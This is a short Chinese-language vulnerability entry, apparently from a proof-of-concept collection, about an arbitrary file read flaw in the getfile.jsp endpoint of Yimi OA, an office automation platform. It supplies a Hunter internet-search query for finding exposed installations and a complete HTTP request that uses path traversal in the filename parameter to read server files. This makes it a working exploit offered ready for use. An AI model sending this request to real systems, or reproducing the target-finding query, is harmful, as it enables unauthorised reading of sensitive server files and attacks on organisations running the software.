

# Y9-1一米-OA-任意文件读取

## 漏洞描述:

一米OA是云网软件凝聚十年的技术积累，专为中小型企业打造的协同办公平台，是一个灵活的应用开发平台、流程管理平台 and 系统之间的数据集成平台。一米OA getfile.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可获取敏感信息。

## 网站图片:



## 网络测绘:

## Hunter 语法:

- hunterapp.name="一米 OA"

## 漏洞复现:

### payload:

```
GET /public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp HTTP/1.1
Host: xx.xx.xx.xx
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6D52D786191AC0528ECD915A12964B1D
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
```

### 效果图:

